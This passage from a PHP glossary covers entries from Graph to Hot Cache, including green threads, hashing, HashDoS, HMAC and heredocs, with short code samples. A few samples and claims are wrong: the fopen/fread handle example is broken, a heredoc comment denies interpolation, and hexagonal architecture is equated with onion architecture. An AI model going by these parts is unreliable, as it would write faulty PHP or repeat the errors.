Graphs are used to model many real-world problems: social networks, dependency trees, network topology, and code analysis tools such as call graphs and control flow graphs.
PHP has no built-in graph data structure, but several libraries provide graph implementations and algorithms.
<?php
// Simple adjacency list representation
$graph = [
'A' => ['B', 'C'],
'B' => ['A', 'D'],
'C' => ['A'],
'D' => ['B'],
];
// Traverse neighbors of A
foreach ($graph['A'] as $neighbor) {
echo $neighbor, PHP_EOL; // B, C
}
?>
See Also
- Structures_Graph Tutorial
- GraphDS: An object oriented, lightweight implementation of the graph data-structure in PHP
Related
- Call Graph
- Control Flow Graph (CFG)
- Graph Database
- GraphQL
- Tree
- Network
- Treemap
- Breadth-First Search
- Depth-First Search
Related packages
GraphQL
GraphQL, or the GraphQL API style, is a query language for APIs. It provides a way to describe data and operations, so that clients can freely build queries.
PHP has several packages to implement both the client and the server side of GraphQL.
See Also
Related
Related packages
Greenfield
A greenfield project is a software development effort that starts from scratch, with no existing codebase, legacy constraints, or inherited technical debt. The term comes from civil engineering, where building on undeveloped land, aka a green field, imposes no constraints from prior construction.
Greenfield development offers maximum design freedom: the team chooses the architecture, language runtime, framework, data model, and tooling without having to preserve backward compatibility or work around previous decisions. This freedom also means that all foundational choices, such as dependency injection strategy, persistence layer, authentication model, error handling conventions, must be made explicitly and early.
Characteristics of greenfield PHP projects:
- No legacy code to maintain: the team can adopt modern PHP features such as named arguments, fibers, readonly properties, union types, and current best practices from day one.
- Framework choice is open: a framework, such as Laravel, Symfony, Slim, or a custom stack can be selected on merit rather than migration cost.
- No migration risk: the database schema, API contracts, and deployment pipeline are defined for the target state, not constrained by an existing one.
- Higher up-front design cost: decisions that a brownfield project has already made, even poorly, must be made here deliberately.
The opposite of greenfield is brownfield development: working inside or alongside an existing system, where the constraints of prior decisions shape every new choice.
Greenfield projects benefit from:
- Composer and Packagist for dependency management from the start.
- Strict type declarations
declare(strict_types=1)enforced project-wide from the first file. - Modern tooling: static analysis, automated refactoring, testing, all configured before the first feature is written.
<?php
// Greenfield entry point: strict types and modern conventions from file one.
declare(strict_types=1);
// Dependency injection container wired at bootstrap, no global state.
$container = new \DI\Container();
$app = $container->get(App::class);
$app->run();
?>
See Also
- Greenfield- vs. Brownfield-Approach - Definition & Explanation
- Difference between Brownfield and Greenfield Software Development
Related
Green Thread
Green threads, also called goroutines in Go, virtual threads in Java 21+, or lightweight threads in Erlang/Haskell, are user-space threads managed entirely by the language runtime rather than the operating system kernel. The runtime multiplexes thousands or millions of them onto a small pool of OS threads, handles scheduling, stack growth, and context switching transparently, and makes blocking calls non-blocking without programmer intervention.
Key properties of native green threads:
- Created with negligible overhead: a few kilobytes of stack, no syscall
- Scheduled by the runtime, not the OS; the programmer spawns them freely without thinking about thread-pool sizing.
- Blocking I/O is intercepted by the runtime and turned into a yield; other green threads run in the meantime.
- No explicit
awaitorsuspendcall is required at the call site: existing blocking code simply works.
Go goroutines are the canonical example: go fn() spawns a goroutine and returns immediately. The Go scheduler parks it when it blocks on I/O and resumes it when the I/O completes, across a fixed number of OS threads GOMAXPROCS.
PHP does not have native green threads. PHP’s default execution model is shared-nothing: each request runs in its own process or OS thread, managed by PHP-FPM or the web server, with no in-process concurrency between requests.
Available approximations, each with trade-offs:
- Fibers, PHP 8.1: cooperative micro-threads within a single OS thread. Require explicit
Fiber::suspend()/resume()call sites; the programmer must opt in at every yield point. Fibers do not run in parallel and do not intercept blocking I/O automatically. - Swoole / OpenSwoole / Swow: C extensions that replace PHP’s I/O layer and provide a coroutine scheduler. Within a Swoole coroutine server, blocking calls are transparently converted to non-blocking ones, closely approximating green-thread behaviour. However, this requires a persistent-process server model and is not part of the PHP standard distribution.
- ReactPHP / AMPHP: pure-PHP event loops built on
stream_selectorlibuv. They require explicit async/await,yieldorasync/awaitvia Fibers, at every I/O boundary; there is no transparent interception. parallelextension: true OS threads for CPU-bound work, with strict shared-state constraints: no shared objects.
None of these match the ergonomics of goroutines, where spawning a concurrent task is a single keyword and all existing synchronous I/O code continues to work unchanged.
<?php
// PHP 8.1 Fibers: closest native approximation.
// Unlike goroutines, suspension must be explicit and there is no parallelism.
$fiber = new Fiber(function (): void {
echo "Fiber started\n";
$received = Fiber::suspend('first yield'); // explicit yield point required
echo "Fiber resumed with: $received\n";
});
$yielded = $fiber->start(); // run until first suspend()
echo "Main got: $yielded\n"; // 'first yield'
$fiber->resume('hello'); // hand control back
// Swoole coroutines (extension, not standard PHP) come closer
// to transparent green threads:
//
// Co\run(function () {
// go(function () {
// // Co::sleep() suspends this coroutine transparently;
// // other coroutines run during the wait.
// Co::sleep(1);
// echo "task A done\n";
// });
// go(function () {
// Co::sleep(1);
// echo "task B done\n";
// });
// });
?>
See Also
Related
- Fibers
- Coroutine
- Concurrency
- Asynchronous
- Async
- Multithreading
- Thread
- Green
- OpenSwoole
- Semaphore
- Swoole
Related packages
Green
Green describes a build, a test run, or a pipeline stage that has passed: every assertion succeeded, nothing failed, nothing errored. The term comes from the traffic-light convention used by CI dashboards and test runners, where green means go and red means stop.
Green is best known from the red, green, refactor cycle of test-driven development: write a failing test in red, write the minimum code to make it pass to green, then improve the code without changing its behaviour, with refactor. A codebase is only safe to refactor once it is green, since the tests are what confirm that behaviour was preserved.
At the pipeline level, a green build means every stage, tests, static analysis, linting, deployment checks, succeeded, so the commit is considered safe to merge or deploy. A red build blocks merges in most CI setups until it turns green again. Keeping the main branch green is a common team discipline: nobody should merge on top of a known-broken build, since that hides new failures behind an old one.
Green is distinct from greenfield, a fresh project with no legacy constraints, and from a green thread, a lightweight, runtime-scheduled thread. All three share the same word but describe unrelated concepts.
<?php
// PHPUnit: red before green
final class CartTest extends \PHPUnit\Framework\TestCase
{
public function testEmptyCartTotalIsZero(): void
{
$cart = new Cart();
// Red: Cart::total() does not exist yet.
// Green: implement Cart::total() to return 0 for an empty cart.
$this->assertSame(0, $cart->total());
}
}
// Running the suite: exit code 0 means green.
// vendor/bin/phpunit --colors=always
// $ echo $?
// 0
?>
See Also
Related
gRPC (Google Remote Procedure Call)
gRPC, short for Google Remote Procedure Call, is a high-performance framework for building APIs and connecting services: especially in microservices architectures.
It was originally developed by Google and is now an open-source project under the Cloud Native Computing Foundation.
See Also
Related
- REST API
- Remote Procedure Call (RPC)
- Web Real-Time Communication (WebRTC)
- Websocket
- Application Programming Interface (API)
- Application
Related packages
Guard Rail
A guard rail is a constraint, check, or automated safeguard built into a system to keep it within safe boundaries, without necessarily stopping it outright the way a hard failure would.
The term comes from road safety, where a physical rail prevents a vehicle from leaving the road entirely, while still allowing some margin for error. Applied to software, guard rails include type declarations, assertions, validation rules, and static analysis checks, which catch invalid states early rather than letting them propagate into production.
Guard rails differ from design by contract in scope: a contract formalises the obligations of a single function or class, while guard rails are broader, project-wide conventions, often enforced automatically by tooling such as linters, static analysers, or continuous integration pipelines.
<?php
declare(strict_types = 1);
function setAge(int $age): void {
// Guard rail: reject an invalid state before it propagates.
if ($age < 0 || $age > 150) {
throw new InvalidArgumentException('Age out of range');
}
// ... proceed with a value guaranteed to be sane
}
?>
See Also
Related
Habit
A habit, in the context of software development, is a coding practice that a developer applies automatically and repeatedly, without necessarily making a deliberate decision each time.
Habits can be beneficial: such as always validating input, writing tests first, or naming variables clearly; they may be harmful, such as suppressing errors with @, using magic numbers, or leaving dead code in place.
Good habits are the foundation of consistent code quality. They turn best practices into second nature. Bad habits are often the source of recurring issues in a codebase, since they are applied without reflection.
Static analysis tools are particularly effective at reporting bad habits: patterns that appear many times across a codebase, reflecting a systematic behaviour rather than a one-off mistake.
<?php
// A bad habit: silencing errors instead of handling them
$result = @file_get_contents('data.json');
// A good habit: checking return values explicitly
$result = file_get_contents('data.json');
if ($result === false) {
throw new RuntimeException('Could not read data.json');
}
?>
See Also
Related
- Best Practices
- Coding Conventions
- @, No Scream Operator
- Dead Code
- Magic Numbers
- Readability
- Canonical
Handle
A handle represents a datastructure that has established a link with an independent resource. There are handles for files, for database connection, for http connections, etc.
The content of the handle is usually opaque: there is no need to know what is inside, except that this handle must be provided to every function call.
Handles are often build with the type resource, and they are evolving toward objects. The content is still opaque, but the objects carry the dataset between method calls.
<?php
$handle = fopen("c:\folder\resource.txt", r);
$string = fread($handle);
fclose($handle);
?>
See Also
Related
PHP Handlers
PHP handlers are methods which are called to customize the processing of specific events. All those handlers have a default handler, which is used until a new one is configured.
Handlers are usually named by their setting function:
- Errors
set_error_handler()set_exception_handler()
- Sessions
session_set_save_handler()session_register_shutdown()
- Execution
register_shutdown_function()
- Ticks
register_tick_function()
- Headers
header_register_callback()
- Streams
stream_register_wrapper()stream_wrapper_register()stream_filter_register()
- Autoload
spl_autoload_register()
PHP handlers may be functions, closures and arrow functions.
Registering a handler replaces the engine’s built-in behavior for that event with user-defined code, until the script ends or the handler is explicitly restored, for example with restore_error_handler(). This makes handlers a powerful hook for cross-cutting concerns such as centralized logging, custom error reporting, graceful cleanup on shutdown, or lazy class loading via spl_autoload_register().
Because a handler runs in place of PHP’s default behavior, a poorly written one can mask real problems: an error handler that swallows all errors without logging them, for instance, makes debugging much harder. Most handler-registering functions also accept an array to allow multiple handlers to be chained, or return the previously registered handler so it can be restored later.
See Also
Related
- HTTP Headers
- Error Handler
- Exception Handler
- Process Control (pcntl)
- PHP Engine
- Shutdown Function
- System Event
- pcntl_signal()
- set_error_handler()
Hard Coded
Hard coded data in code happens when a value is set as a literal in the code, and can’t be changed through any directives or parameters.
Hard-code becomes a security problem, when the hard-coded value is a password or a hash of it. This secret is now readable in the code.
<?php
// This is hard-coded
$age = 1;
// $weight has a default value, but may also be changed at execution time
function trumpet($weight = 2) {
echo $weight;
}
?>
See Also
Related
Hardening
Hardening refers to raising the security level in the installation of PHP, and other related technologies. It means reviewing the default or installed configurations and set ups, to make them safer.
For example, by default, PHP displays its version number in the HTTP headers, with X-Powered-By. This may be hidden, so as not to disclose any information, by setting expose_php directive to off, or 0 in the php.ini file.
See Also
- How to Hide PHP Version Number in HTTP Header
- PHP Hardening: Strategies to Meet Compliance Requirements
- Modern PHP Security Part 2: Breaching and hardening the PHP engine
Related
Related packages
Hash
# is character, used in various situations:
- One line comment:
# comments after the character - Separator in a URL, for the anchor:
https://www.php.net/ChangeLog-8.php#8.5.3
A hash may also be a type of arrays.
<?php
file_get_contents('https://www.php.net/ChangeLog-8.php#8.5.3');
echo 1; # A single line comment
?>
See Also
Related
Hash Comparisons
Cryptographic hashes are usually represented by strings. As such, they are subjects to type juggling, and they should be compared with the identity operator, or a dedicated function.
<?php
$expected = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('apple', '$2a$07$usesomesillystringforsalt$');
var_dump(hash_equals($expected, $correct));
var_dump(hash_equals($expected, $incorrect));
var_dump($expected == $correct);
var_dump($expected == $incorrect);
var_dump($expected === $correct);
var_dump($expected === $incorrect);
?>
See Also
Related
Cryptographic Hash
A cryptographic hash is an algorithm which maps a string to a fixed sized string, with a method that is difficult or impossible to revert.
Some famous algorithms: MD5, SHA1, SHA256, HAVAL, Bcrypt.
Other algorithms include crc32(), though it is not considered a cryptography.
While the extension hash only process hashes, there are other extensions which offer these features: openssl, sodium and password hashing. Mhash and mcrypt are older PHP extensions, which are now discontinued.
<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
// produces ec457d0a974c48d5685a7efa03d137dc8bbde7e3
?>
See Also
Related
hash() Function
hash() is a PHP native function, that computes the hash of strings, with a wide range of algorithms, cryptographic or not.
It takes an algorithm name, such as md5, sha256, sha3-512, crc32, or ripemd160, and a string of data, and returns a hexadecimal digest by default, or raw binary output when the optional third argument is set to true. The list of algorithms available at runtime can be retrieved with hash_algos(), since it depends on how PHP was built.
hash() is meant for general-purpose hashing, such as checksums, cache keys, or data fingerprinting, and should not be used to store passwords: for that, PHP provides the dedicated password_hash() and password_verify() functions, which apply a slow, salted, adaptive algorithm designed to resist brute-force attacks. Fast general hashes like MD5 or SHA-1 are also considered cryptographically weak for security-sensitive purposes such as digital signatures.
<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
// produces ec457d0a974c48d5685a7efa03d137dc8bbde7e3
?>
See Also
Related
Hash Table Attack
A hash table attack, also known as HashDoS, hash-flooding attack, hash collision attack, or algorithmic complexity attack, is a denial of service technique that exploits the worst-case behavior of a hash table. When many keys are crafted to collide on the same bucket, insertions degrade from the expected average O(1) to O(n) per operation, turning a cheap request into a CPU-bound one that can stall the whole server with a small amount of traffic.
The attack was disclosed in 2011 as a cross-language vulnerability: PHP, and most other web platforms of the time, parsed incoming POST data into an array keyed by parameter name, using a hash function with a fixed, predictable seed. An attacker could precompute thousands of string keys that all hash to the same bucket, and submit them as a single request body, forcing the engine to spend seconds or minutes rebuilding that one array.
PHP mitigated the attack on two fronts: the Zend Engine’s HashTable now randomizes its hash seed per process, so collisions can no longer be precomputed offline, and the max_input_vars ini directive caps the number of input variables accepted in a single request, bounding the damage even if collisions occur.
<?php
// A crafted request body with thousands of colliding keys
// forces PHP to rebuild $_POST's underlying hash table repeatedly,
// each insertion degrading toward O(n) instead of O(1).
// max_input_vars limits how many such keys are accepted at all.
foreach ($_POST as $key => $value) {
// even an empty loop body pays the cost of building $_POST
}
?>
See Also
Related
- Hash Table
- hash() Function
- Hashing
- Collision
- Rainbow Table
- Distributed Denial Of Service (DDOS)
- Attack
- max_input_vars
- Vulnerability
- Regexploit
- Timing Attack
Hash Table
A hash table is a data structure that stores key-value pairs, and uses a hash function to compute an index, called a bucket, from the key, so that a value can be inserted, looked up, or deleted in average constant time O(1), regardless of the size of the table. It is one of the most used data structures in computing, backing associative arrays, sets, caches, and database indexes alike.
Collisions, two keys hashing to the same bucket, are unavoidable once the table grows, and are resolved either through chaining, where each bucket holds a small list, or through open addressing, which probes for the next free slot. A hash table’s performance degrades if the hash function distributes keys poorly, or if the table is not resized as it fills up.
Every PHP array is, internally, an ordered hash table: the Zend Engine’s HashTable C structure maps both integer and string keys to a bucket, while a separate doubly linked list preserves insertion order. This is why PHP arrays iterate in a deterministic, insertion order, unlike hash tables in many other languages.
<?php
// PHP's associative array is a hash table
$ages = [];
$ages['Alice'] = 30; // 'Alice' is hashed to find its bucket
$ages['Bob'] = 25;
echo $ages['Alice']; // O(1) average lookup
?>
See Also
Related
Hash
Hash has several meanings:
- PHP extension
- PHP function
- A general computer science concept, that transforms data into another value
- A general computer science concept, that turns a string into another fixed-sized string, in a way that is difficult to revert. It is also called a digest.
- A synonym for arrays with arbitrary keys, also known as a hashmap, map or associative array
- A character to start a one line comment:
#
Hash allows direct or incremental processing of arbitrary length messages using a variety of hashing algorithms.
While the extension hash only processes hashes, there are other extensions which offer these features: openssl, sodium and password hashing. Mhash and mcrypt are older PHP extensions, which are now discontinued.
<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
// produces ec457d0a974c48d5685a7efa03d137dc8bbde7e3
// a conversion table is a hash
$c = 2;
$dictionary = [1 => 'a', 2 => 'b', 3 => 'c'];
echo $dictionary[$c];
// This is a hashmap, or also called a hash
$hashMap = ['name' => 'Henry',
'family' => 'Troyat',
'age' => 33,
];
?>
See Also
Related
- hash() Function
- Cryptographic Hash
- Collection
- Array, []
- Map
- Array Element
- Convert
- Magic Hash
- Secure Hash Algorithm (SHA)
- Hash #
- Argon2
- Automatic Index
- Dictionary
- Data Structure
- Pound #
- array_column
- Cyclic Redundancy Check 32-bit (CRC32)
- HMAC
- Password API
- Bucket
- Hash Comparisons
- Single Sign On (SSO)
- Hash Table
- Hashing
- Message Digest
- Pseudonymisation
hash_equals()
hash_equals() is a built-in PHP function that compares two strings in constant time, regardless of where they differ.
It is specifically designed to prevent timing attacks: a regular == or === comparison short-circuits as soon as it finds a differing byte, leaking information about the compared value through the response time. hash_equals() always takes the same amount of time, making it safe for security-sensitive comparisons such as comparing password hashes, HMAC signatures, CSRF tokens, or API keys.
The function returns true if both strings are equal, false otherwise. If the two arguments are not strings, a TypeError is raised.
A common mistake is to compare hashes with ===, which is semantically correct but vulnerable to timing attacks. hash_equals() should be used whenever the compared value could be guessed by an attacker through repeated requests.
<?php
$expected = hash_hmac('sha256', $message, $secret);
$received = $_POST['signature'];
// Vulnerable: === leaks timing information
if ($expected === $received) {
// ...
}
// Safe: constant-time comparison
if (hash_equals($expected, $received)) {
// ...
}
?>
See Also
Related
- Timing Attack
- Hash Comparisons
- Cryptographic Hash
- Authentication
- Cross Site Request Forgery (CSRF)
- Security
- HMAC
Hashing
Hashing is the process of running data through a hash function, to produce a fixed-size value called a hash, or digest.
A good hash function is fast, deterministic, and spreads its output evenly, so that different inputs rarely produce the same hash, an event called a collision.
Hashing serves several distinct purposes applications:
- Integrity checks and checksums, with fast algorithms like
crc32ormd5, to detect accidental corruption. - Lookup structures, where hashing a key gives its position in a hash table, the internal structure behind PHP arrays.
- Password storage, with slow, salted algorithms designed to resist brute-force attacks, such as
bcryptorargon2, via thepassword_hash()function. - Cryptographic fingerprints, with algorithms like the
SHAfamily, to sign or verify data.
Hashing is one-way: a hash cannot be reversed to recover the original data. This distinguishes it from encryption, which is meant to be decrypted with a key.
<?php
// fast, non-cryptographic hashing, for a lookup or checksum
echo hash('crc32b', 'The quick brown fox jumped over the lazy dog.');
// cryptographic hashing, for a fingerprint
echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');
// slow, salted hashing, for password storage
echo password_hash('correct horse battery staple', PASSWORD_BCRYPT);
?>
See Also
Related
- Hash
- hash() Function
- Cryptographic Hash
- Hash Table
- Message Digest
- Checksum
- Cryptography
- Password API
- Hash Comparisons
- Crack
- Deterministic
- Weak Cryptography
Haystack
Haystack is a classic name, used to designate a dataset where something will be searched in. For example, with the functions strstr(), strpos(), strrchr(), array_search(), mb_strstr(), Grapheme::stristr(), etc.
This name refers to the expression ‘to search for a needle in a haystack’: when something is difficult to find in a large stack. In this context, the haystack is usually the data that is searched, while the needle is the thing that is searched for.
Traditionally, the haystack is the first argument, and the needle the second one. With named parameters, the ‘haystack’ name made its way in the PHP syntax.
<?php
var_dump(strpos(haystack: 'abc', needle: 'b'));
?>
See Also
Related
Headers
Headers are HTTP response data sent to the client before any body output. PHP provides several built-in functions to manage them.
The native function header() sends a raw HTTP header. headers_sent() checks whether headers have already been sent. headers_list() returns the list of headers ready to be sent. header_remove() removes a previously set header.
Headers must be sent before any output, HTML, whitespace, or echo. Sending output before calling header() triggers a PHP warning.
<?php
header('Content-Type: application/json');
header('X-Custom-Header: value');
if (headers_sent($file, $line)) {
echo "Headers already sent in $file on line $line";
}
echo json_encode(['status' => 'ok']);
?>
See Also
Related
Headless
A headless website, also known as a headless CMS, Content Management System, or decoupled website, is a web architecture where the frontend and backend are decoupled or separated from each other. In this setup, the frontend, the head or user interface, and the backend, the body or content management system, operate independently and communicate through APIs, Application Programming Interfaces.
Traditionally, websites are built using a monolithic architecture, where the frontend and backend are tightly integrated. The backend typically handles both content management and presentation logic, rendering HTML pages that are sent to the user’s browser.
In contrast, a headless website is designed with a clear separation of concerns.
See Also
- Decopuled systems. Frontend in JavaScript. Backend in PHP. Why. How. If.
- Headless possibilities for PHP
- Headless CMS vs. Traditional CMS: Which Is Best for PHP Apps?
- CometCMS
Related
- Content Management System (CMS)
- Application Programming Interface (API)
- Architecture
- REST API
- Decoupling
- Front-end
Heredocs
Heredoc is a string syntax, similar to nowdoc, with internal variable interpolation. They behave like double quoted strings.
The Heredocs syntax uses an arbitrary delimiter. The same delimiter will mark the end of the string.
Heredocs are convenient for large amount of text, that has to be hardcoded. Smaller string will be better suited with double quotes, while even longer text should be processed with a templating system.
It is possible to indent the text in a nowdocs string: to avoid this indentation to be passed at execution time, the final delimiter may be indented too. Its indentation will be removed from the parsed text.
<?php
$heredoc = <<<DELIM
This is a long text.
$variable will not be replaced, and the text stays intact.
DELIM;
$heredoc = <<<DELIM
This is an indented text.
DELIM;
?>
See Also
Related
- Nowdocs
- String
- Concatenation \.
- Indentation
- Interpolation
- Single Quotes Strings
- Tabulation
- Space
- Double Quotes Strings
- Empty String
- Escape Character
Heuristics
Heuristics are practical, experience-based techniques or problem-solving approaches that are not guaranteed to be perfect or optimal, but are good enough for reaching an immediate, short-term goal or solution. They are essentially rules of thumb: simple, efficient strategies that help people make decisions quickly, especially in complex or uncertain situations.
- Efficiency: heuristics allow for faster decision-making than exhaustive methods.
- Simplicity: heuristics are often easy to understand and apply.
- Approximation: heuristics provide solutions that are good enough rather than perfect.
- Experience-based: heuristics rely on past experience, intuition, or common sense.
See Also
Related
Hexadecimal Integer
Hexadecimal integers are integers with an hexadecimal representation. Their value is the same, yet their are written in a different way than the common decimal.
Hexadecimal has native support with the 0x123 format. There is also support for hexadecimal characters, inside double-quote strings, with the \xhh syntax.
There are functions to convert from and to hexadecimal format: hexdec(), dechex() and base_convert(), from ten to sixteen, and then, with an arbitrary base, up to 36.
PHP also has special syntax for binary and octal numbers.
<?php
$twenty = 0x14;
$twentyToo = 20;
$i = "\x69"; // i is the 105 ASCII code
$i = 'i';
?>
See Also
Related
Hexagonal Architecture
Hexagonal architecture, also known as Ports and Adapters architecture or the Onion architecture, is a software architectural pattern that promotes the separation of concerns and emphasizes modularity and flexibility. It was introduced by Alistair Cockburn in 2005 as a way to address the challenges of building maintainable and testable software systems.
In hexagonal architecture, the core principle is the isolation of the application’s business logic from external dependencies such as databases, frameworks, user interfaces, and external services. The architecture consists of three main components:
Core/Application Layer: this layer represents the business logic or the application’s core functionality. It encapsulates the use cases and domain models that define the behavior of the system. The core does not depend on any specific technologies or external systems.Ports and Adapters: this layer acts as a boundary between the application and its external dependencies. It consists of two types of components:Ports: these are interfaces or contracts that define the interaction between the core/application layer and the external systems. They provide a way for the core to communicate its needs and receive data or trigger actions.Adapters: these are the implementations of the ports, connecting the core with the external systems. Adapters translate the core’s requests into a format that external systems can understand and vice versa. They handle the technical details of communication, such as data persistence, network protocols, or user interface rendering.External Systems: this layer includes databases, frameworks, user interfaces, messaging systems, or any other external dependencies. The core does not have direct knowledge of these systems. Instead, it communicates through the defined ports and relies on the adapters to interact with them.
The hexagonal architecture promotes loose coupling, which makes the system more maintainable, testable, and adaptable to changes. It allows for easier swapping of external dependencies or modifying user interfaces without affecting the core business logic. The separation of concerns and clear boundaries between layers also make the system easier to understand and reason about.
See Also
- From Chaos to Clean: Implementing Hexagonal Architecture in PHP
- Hexagonal Architechure (Ports and Adapters) with PHP
Related
Related packages
hg
HG is another name for Mercurial, which is a distributed version control system, DVCS, similar to Git. Mercurial is designed to help developers manage and track changes to source code and other files, like Subversion and Git. It is often used for collaborative software development and version control of various types of digital assets.
See Also
Related
Hidden State
Hidden state is state that exists in a program and influences its behavior but is not visible or accessible from the current scope.
Hidden state arises from: static properties of classes, as they persist for the lifetime of the request, modified anywhere; static variables; singleton instances; readonly properties; buffered output ob_start(); the internal pointer of arrays; file handles; extension-level state, e.g., the last regex error from preg_last_error(); and objects passed by reference that are mutated inside functions.
Hidden state is a common source of hard-to-reproduce bugs: the same function called twice with identical arguments may produce different results because some invisible state changed between the two calls. It also makes code difficult to test in isolation.
Unlike implicit state, which is about undeclared inputs, hidden state refers specifically to state that is not visible from the calling context.
<?php
class Counter {
private static int $count = 0; // hidden state: shared across all instances
public static function increment(): void {
self::$count++;
}
public static function get(): int {
return self::$count;
}
}
Counter::increment();
// Somewhere else in the codebase...
Counter::increment();
echo Counter::get(); // 2 — but caller may not know it was called twice
?>
See Also
Related
- State
- Implicit State
- Implicit
- Stateful
- Global Variables
- $GLOBALS
- Appeasement Pattern
- Distributed State
Higher-Kinded Type
A higher-kinded type, or HKT, is a type that abstracts over type constructors rather than over concrete types. Where a generic type parameter T ranges over types like int or string, a higher-kinded parameter F ranges over types that themselves take a type argument, such as List, Maybe, or Promise.
The canonical example is the Functor typeclass in Haskell: fmap :: (a -> b) -> f a -> f b. Here f is a higher-kinded variable: it stands for any one-argument type constructor. This allows writing a single abstraction that works uniformly over List a, Maybe a, IO a, and any other functor, without knowing the concrete constructor in advance.
Higher-kinded types are what make purely functional abstractions like Functor, Monad, Applicative, and Foldable expressible without code duplication. Languages that support them natively include Haskell, Scala, PureScript, and Rust, partially through associated types.
PHP does not support higher-kinded types. PHP lacks native generics entirely, which is a prerequisite. Even PHPStan and Psalm @template annotations cover first-order generics only; they cannot abstract over parameterized type constructors. Functional PHP libraries such as marcosh/lamphpda approximate monadic abstractions at runtime using conventions, but without static type-level verification.
See Also
Related
- Generics
- Type System
- Polymorphism
- Functional Programming (FP)
- Types Erasure
- Monomorphization
- Algebraic Data Type
Related packages
HMAC
HMAC, short for Hash-based Message Authentication Code, is a mechanism for message authentication using cryptographic hash functions. It combines a secret key with the message to produce a fixed-size digest, providing both data integrity and authenticity.
HMAC is defined in RFC 2104 and is widely used in API authentication, JWT signatures, and webhook verification.
HMAC is computed with hash_hmac(), which accepts a hashing algorithm, the message, and a secret key.
<?php
$key = 'secret-key';
$message = 'important data';
$hmac = hash_hmac('sha256', $message, $key);
echo $hmac; // 64-character hexadecimal string
?>
See Also
Related
Hoisting
Hoisting is a language feature where declarations are automatically moved to the top of their scope before code execution. It is notably a JavaScript feature and not a PHP feature.
PHP does not support hoisting for variables: a variable must be assigned before it is read, or it will be undefined.
PHP functions are pre-compiled and can be called before their textual declaration in the same file, which may look like hoisting but is actually the result of PHP’s two-pass compilation model.
PHP classes are not hoisted either: a class must be declared, autoloaded, before it is instantiated.
<?php
// This works: functions are pre-compiled
greet();
function greet() { echo 'Hello'; }
// This does NOT work: variables are not hoisted
echo $message; // Undefined variable
$message = 'Hello';
?>
See Also
Related
Homoiconicity
Homoiconicity is a property of a programming language in which code and data share the same representation. A homoiconic language can treat its own programs as data structures that may be inspected, transformed, and generated at runtime using the language itself. Lisp is the canonical example. Lisp programs are lists, and lists are native Lisp data.
PHP is not homoiconic in the classical sense: the source code is text, not a native PHP data structure. However, PHP provides several mechanisms that approximate homoiconic behaviour:
token_get_all(): tokenises a PHP source string into an array of token arrays, exposing the lexical structure of code as PHP data.eval(): executes an arbitrary PHP string as code, allowing dynamically constructed programs to run.- The Reflection API, with
ReflectionClass,ReflectionFunction, etc.: introspects the live structure of classes and functions at runtime. - The
astextension: parses PHP source into an abstract syntax tree represented as nativeast\Nodeobjects, enabling full read access to code structure. nikic/php-parser, a userland library: provides a complete AST with read and write access, making it possible to parse, modify, and regenerate PHP code from PHP itself.
These tools are the foundation of static analysers, code generators, template engines, and macro-like systems built into PHP.
<?php
// Tokenise PHP source as a PHP array
$tokens = token_get_all('<?php echo 42; ?>');
foreach ($tokens as $token) {
if (is_array($token)) {
echo token_name($token[0]) . ': ' . $token[1] . "\n";
}
}
// Reflect on a function's structure at runtime
$ref = new ReflectionFunction('array_map');
echo $ref->getName() . ' accepts ' . $ref->getNumberOfParameters() . " parameters\n";
// Build and execute code from data
$op = '+';
$result = eval("return 6 {$op} 7;");
echo $result; // 13
?>
See Also
Related
Honey Pot
A honeypot is a spam-prevention technique used in forms. It’s a hidden field or trap designed to catch automated bots while remaining invisible to human users.
See Also
Related
Hook
A hook, sometimes called a callback hook, is a mechanism that allows custom code to be inserted at a predefined point in a process, framework, or system. Rather than modifying existing code directly, hooks let external logic react to or alter behaviour at extension points.
Hooks appear in several distinct forms during development:
Property hooks: they are thegetandsetaccessors, attached directly to a class property, replacing the need for explicit getter and setter methods.Webhooks: they are HTTP callbacks where a remote server pushes event notifications to a registered URL. The receiving application exposes an endpoint and reacts to the incoming payload.Git hooks: they are shell scripts that Git executes automatically at specific points in the version-control workflow, such as before a commit or after a push. They are widely used to enforce code-quality checks in projects.
In plugin and framework architectures, hooks are often called filters or actions in WordPress, events in Symfony and Laravel, or simply listeners.
See Also
Related
Horizontal Scaling
Horizontal scaling, also called scaling out or scale-out, means adding more instances of an application or service to distribute the workload across multiple machines, rather than increasing the resources of a single machine.
Horizontal scaling typically involves running multiple PHP-FPM processes or application containers behind a load balancer. Because HTTP is stateless, PHP applications can often be scaled horizontally with relatively little effort, provided that shared state, such as sessions, caches, uploaded files, is externalised to shared services such as Redis, a centralised database, or an object-storage service.
Key considerations for horizontal scaling include: stateless application design, centralised session storage, distributed caching, shared file storage, and database connection pooling.
Horizontal scaling contrasts with vertical scaling, which adds physical resources to existing machines.
<?php
// Externalising session storage to Redis for horizontal scalability
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://redis:6379');
session_start();
$_SESSION['user_id'] = 42;
?>
See Also
Related
- Scaling
- Vertical Scaling
- Load Balancer
- Stateless
- Session
- Cache
- Microservice
- Architecture
- Cloud
- Availability
- Content Delivery Network (CDN)
- Massively Parallel Processing Database (MPP)
- Shared-Nothing Architecture
Hosting
Hosting is a server that stores the application code, and is accessible to an audience for usage. It means storing your scripts and applications on a remote server, which is managed and maintained by a host. It aims to provide the user with all the tools to set up the perfect environment for code development.
See Also
Related
Hot Cache
A hot cache holds the subset of data that is currently accessed often enough to stay in fast storage, close to the application: in memory, in an in-process cache, or in the first tier of a multi-level cache. Data that stops being requested gradually turns cold, see cold-cache, and is eventually evicted to make room for hotter entries.
The most common technique for keeping a cache hot is the LRU, Least Recently Used, eviction policy: every access moves an item to the hottest end of an ordering, and whenever the cache reaches its capacity, the item at the coldest end is discarded. Other eviction policies exist, such as LFU, Least Frequently Used, or plain TTL-based expiry, but LRU remains the default in most cache implementations, including Redis, APCu, and Symfony’s cache adapters.
A cache is hot right after a period of steady traffic, when the most relevant data is already loaded and hit rates are high. It runs cold right after a restart, a deployment, or a flush, forcing requests to fall back to the slower source of truth until the cache warms back up, see cache-warming.
<?php
class LruCache
{
private array $items = []; // ordered by recency: oldest (coldest) first
public function __construct(private int $capacity) {}
public function get(string $key): mixed
{
